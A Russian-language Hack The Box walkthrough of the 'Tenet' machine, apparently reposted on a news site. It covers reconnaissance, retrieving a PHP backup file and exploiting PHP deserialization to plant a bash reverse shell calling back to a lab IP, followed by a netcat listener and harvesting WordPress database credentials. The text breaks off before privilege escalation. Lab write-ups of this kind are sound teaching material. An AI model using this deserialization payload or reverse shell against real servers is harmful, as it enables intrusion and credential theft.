Категория > Новости > HTB Tenet. Используем десериализацию в PHP и Race Condition для захвата веб-сервера - «Новости»
HTB Tenet. Используем десериализацию в PHP и Race Condition для захвата веб-сервера - «Новости»16-06-2021, 00:01. Автор: Ефросиния |
Hack The Box.warningПодключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками. РазведкаПо традиции начнем с того, что добавим IP машины (
10.10.10.223 tenet.htb
И сканируем порты: ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1 Результат работы скриптаСкрипт находит два открытых порта: 22 (служба SSH) и 80 (веб‑сервер Apache). SSH закрыт, и без учетки там делать нечего, поэтому будем «пробивать» веб. Помимо точек входа, нас интересуют любые подробности, поэтому внимательно изучаем сайт. На одной из страниц находим интересный комментарий — его оставил пользователь Комментарий, оставленный на сайте пользователем neil Это очень важная для нас информация. Не исключено, что там мы и найдем точку входа, если администратор не выполнил просьбу Нила и не спрятал файлы. Первым делом я решил поискать бэкапы
bfac --urlhttp://tenet.htb/sator.php
Поиск бэкапов файла sator.php с помощью bfacНо к сожалению, нам не удалось найти никаких бэкапов. Точка входаНе оставляя идею с
curl -H 'Host: sator.tenet.htb'http://tenet.htb
Запрос к виртуальному хосту sator.tenet.phpВеб‑сервер вернул нам дефолтную страницу Apache 2. Хвалим себя за удачную находку и добавляем запись в файл
10.10.10.223 sator.tenet.htb
Следующий шаг в таких случаях — просканировать директории на найденном домене. Но, помня о комментарии, я сначала поищу бэкапы файла
bfac --urlhttp://sator.tenet.htb/sator.php
Поиск бэкапов файла sator.php с помощью bfac ЗакреплениеДавай разберемся с кодом. Этот файл ждет, что будет указан параметр Содержимое файла sator.php.bak Получается, что мы можем сериализовать объект такого класса и отправить сериализованные данные на сервер. А это открывает возможность записать какие угодно данные в любой файл. Писать мы, конечно, будем бэкшелл. Но сначала проверим, есть ли на сервере файл, бэкап которого мы разобрали. Запрос к sator.php Результаты работы
apt install rlwrap
rlwrap nc -lvp [port]
Теперь разберемся с эксплуатацией. Копируем определение класса class DatabaseExport{public $user_file = 'r.php';public $data = '<?php exec("/bin/bash -c 'bash -i /dev/tcp/10.10.14.107/4321 0&1'"); ?>';public function __destruct(){file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);}}$url = 'http://sator.tenet.htb/sator.php?arepo=' . urlencode(serialize(new DatabaseExport));$response = file_get_contents("$url");$response = file_get_contents("http://10.10.10.223/r.php");?> Выполняем этот код прямо в консоли и получаем шелл в окне листенера.
php exploit.php
Бэкконнект в окне листенера ПродвижениеТак как на хосте развернут веб‑сервер, где крутится целая CMS, то первое наше действие после захвата шелла — попробовать получить какие‑нибудь учетные данные пользователей. Высока вероятность, что эти учетки подойдут и для локальных пользователей. Для удобства получим интерактивный шелл с помощью Python 3, а потом поищем директорию WordPress.
python3 -c "import pty; pty.spawn('/bin/bash')"
Содержимое директории веб‑сервераВ WordPress есть место, где учетные данные есть всегда, — файл с настройками для подключения к базе данных Содержимое файла wp-config.php Эти учетные данные позволяют подключиться к базе данных и получить другие критические данные пользователей, но в этом случае мы можем сразу авторизоваться с ними на сервере по SSH. Флаг пользователя Локальное повышение привилегийЗайдя под пользователем, мы теперь хотим получить рут, но вряд ли создатели машины просто оставили нам нужный ключ лежащим где‑то на видном месте. Для упрощения поисков я обычно гоняю скрипты LinPEAS, но можно сразу проверить наиболее вероятные места: настройки sudoers, приложения с выставленным битом SUID, прослушиваемые на локалхосте порты. Перейти обратно к новости |